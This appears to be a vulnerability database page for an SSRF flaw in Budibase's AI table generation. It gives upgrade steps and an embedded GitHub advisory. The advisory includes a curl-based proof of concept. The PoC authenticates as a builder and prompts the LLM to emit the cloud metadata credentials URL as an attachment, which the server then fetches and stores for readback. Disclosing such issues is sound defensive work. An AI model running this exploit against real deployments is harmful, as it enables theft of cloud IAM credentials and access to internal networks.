CVE-2026-73307: Budibase SSRF Vulnerability
MODERATECVE-2026-73307 is a MODERATE ssrf vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Budibase libraries in the npm ecosystem. The issue involves ssrf via bare fetch() in uploadurl during ai table generation. Remediation is available in the latest vendor maintenance releases.
CVE-2026-73307 at a Glance
How to Fix CVE-2026-73307
To remediate this vulnerability, upgrade all affected Budibase dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install @budibase/server@Latest secure release
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls @budibase/server
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-73307, inspect your project dependencies using npm:
npm ls @budibase/server
Analyze the terminal output to locate any version of Budibase in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.
Note: The npm ls @budibase/server command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Budibase, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-73307 Affected Budibase Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
@budibase/server
|
npm |
≤ 3.38.1
|
|
References
Frequently Asked Questions
What is CVE-2026-73307?
Which Budibase versions are affected?
What version fixes CVE-2026-73307?
Is @budibase/server affected?
What CWE is associated with CVE-2026-73307?
How can I check npm dependencies for CVE-2026-73307?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-hfhx-w8p8-4hc7",
"modified" : "2026-08-12T18:59:59Z",
"published" : "2026-07-24T21:44:44Z",
"aliases" : [ "CVE-2026-73307" ],
"summary" : "Budibase: SSRF via bare fetch() in uploadUrl during AI table generation",
"details" : "# Budibase: SSRF via bare fetch() in uploadUrl during AI table generation\n\n## Summary\n\nThe `uploadUrl()` function in `packages/server/src/utilities/fileUtils.ts` uses a bare `fetch(url)` call without any SSRF protection. This function is invoked when the AI table generation feature processes LLM-generated attachment column values that are strings (URLs).\n\nA builder-level user can craft prompts that cause the LLM to generate internal IP addresses or cloud metadata endpoints as attachment URLs. When `generateRows()` calls `processAttachments()`, these URLs are fetched server-side without blacklist validation, allowing the attacker to reach internal services, cloud metadata APIs (169.254.169.254), or other network-internal resources.\n\nThis is a variant of the same class of issue addressed in other Budibase code paths where `fetchWithBlacklist()` is correctly used to prevent SSRF.\n\n## Affected Versions\n\n<= 3.39.0 (current `lerna.json` version at time of analysis)\n\n## Vulnerability Details\n\n### Root Cause: uploadUrl() uses bare fetch() without SSRF blacklist check\n\n```typescript\n// packages/server/src/utilities/fileUtils.ts:21-23\nexport async function uploadUrl(url: string): Promise<Upload | undefined> {\n try {\n const res = await fetch(url) // No blacklist validation\n```\n\nThis is called from:\n\n```typescript\n// packages/server/src/sdk/workspace/ai/helpers/rows.ts:104-114\nasync function processAttachments(\n entry: Record<string, any>,\n attachmentColumns: FieldSchema[]\n) {\n function processAttachment(value: any) {\n if (typeof value === \"object\") {\n return uploadFile(value)\n }\n\n return uploadUrl(value) // String values treated as URLs, fetched without protection\n }\n```\n\nWhich is triggered via `generateRows()` at line 34:\n\n```typescript\n// packages/server/src/sdk/workspace/ai/helpers/rows.ts:34\n await processAttachments(entry, attachmentColumns)\n```\n\n### Compare with correct sibling: processUrlFile() in extract.ts\n\n```typescript\n// packages/server/src/automations/steps/ai/extract.ts:139-144\nasync function processUrlFile(\n fileUrl: string,\n fileType: SupportedFileType,\n llm: LLMResponse\n): Promise<ExtractInput> {\n const response = await fetchWithBlacklist(fileUrl) // Correct: uses blacklist\n```\n\nThe `fetchWithBlacklist()` function validates each URL (including redirects) against a blacklist of internal/private IP ranges before making the request:\n\n```typescript\n// packages/server/src/automations/steps/utils.ts:100-112\nexport async function fetchWithBlacklist(\n url: string,\n request: RequestInit = {}\n): Promise<Response> {\n const maxRedirects = 5\n let nextUrl = url\n // ...\n for (let redirects = 0; redirects <= maxRedirects; redirects++) {\n await throwIfBlacklisted(nextUrl) // Validates against private IP ranges\n const response = await fetch(nextUrl, nextRequest)\n```\n\n## Proof of Concept\n\nPrerequisites: Builder-level authentication, AI feature enabled on the instance.\n\n```bash\n# Step 1: Authenticate as builder\nTOKEN=$(curl -s -X POST 'http://TARGET:10000/api/global/auth/default/login' \\\n -H 'Content-Type: application/json' \\\n -d '{\"username\":\"builder@example.com\",\"password\":\"password123\"}' \\\n -c - | grep budibase:auth | awk '{print $NF}')\n\n# Step 2: Create an app with a table that has an attachment column\nAPP_ID=\"app_dev_xxxx\" # Use existing app\n\n# Step 3: Use the AI table generation endpoint with a prompt designed to\n# produce internal URLs as attachment values.\n# The LLM will generate rows with attachment column values pointing to\n# internal services.\ncurl -X POST \"http://TARGET:10000/api/workspace/$APP_ID/ai/tables/generate\" \\\n -H \"Content-Type: application/json\" \\\n -H \"Cookie: budibase:auth=$TOKEN\" \\\n -d '{\n \"prompt\": \"Create a table called Assets with columns: name (string), logo (attachment). Add one row: name=test, logo=http://169.254.169.254/latest/meta-data/iam/security-credentials/\"\n }'\n\n# The server will call uploadUrl(\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\")\n# which fetches the cloud metadata endpoint without any SSRF protection.\n# The response content is saved to object storage and a URL is returned in the row data.\n\n# Step 4: Read the created row to exfiltrate the metadata response\ncurl -X GET \"http://TARGET:10000/api/$APP_ID/rows?tableId=<table_id>\" \\\n -H \"Cookie: budibase:auth=$TOKEN\"\n# The attachment URL in the response points to the saved metadata content\n```\n\n## Impact\n\n- Attacker with builder access can read cloud instance metadata (AWS IAM credentials, GCP service account tokens)\n- Internal service enumeration and data exfiltration from private network resources\n- Port scanning of internal infrastructure via timing/error differences\n- Bypass of network segmentation when Budibase is deployed in a DMZ or VPC\n\n## Suggested Remediation\n\nReplace the bare `fetch()` in `uploadUrl()` with `fetchWithBlacklist()`:\n\n```typescript\n// packages/server/src/utilities/fileUtils.ts\nimport fs from \"fs\"\n-import fetch from \"node-fetch\"\nimport path from \"path\"\nimport { pipeline } from \"stream\"\nimport { promisify } from \"util\"\nimport * as uuid from \"uuid\"\n\nimport { context, objectStore } from \"@budibase/backend-core\"\nimport { Upload } from \"@budibase/types\"\nimport { ObjectStoreBuckets } from \"../constants\"\n+import { fetchWithBlacklist } from \"../automations/steps/utils\"\n\n// ...\n\nexport async function uploadUrl(url: string): Promise<Upload | undefined> {\n try {\n- const res = await fetch(url)\n+ const res = await fetchWithBlacklist(url)\n\n const extension = [...res.url.split(\".\")].pop()!.split(\"?\")[0]\n```",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "@budibase/server"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"last_affected" : "3.38.1"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/Budibase/budibase/security/advisories/GHSA-hfhx-w8p8-4hc7"
}, {
"type" : "WEB",
"url" : "https://github.com/Budibase/budibase/pull/18866"
}, {
"type" : "WEB",
"url" : "https://github.com/Budibase/budibase/commit/72e602d68daeebe3b95b0ed87acd351a38e327d7"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/Budibase/budibase"
}, {
"type" : "WEB",
"url" : "https://github.com/Budibase/budibase/releases/tag/3.39.4"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-918" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-24T21:44:44Z",
"nvd_published_at" : null
}
}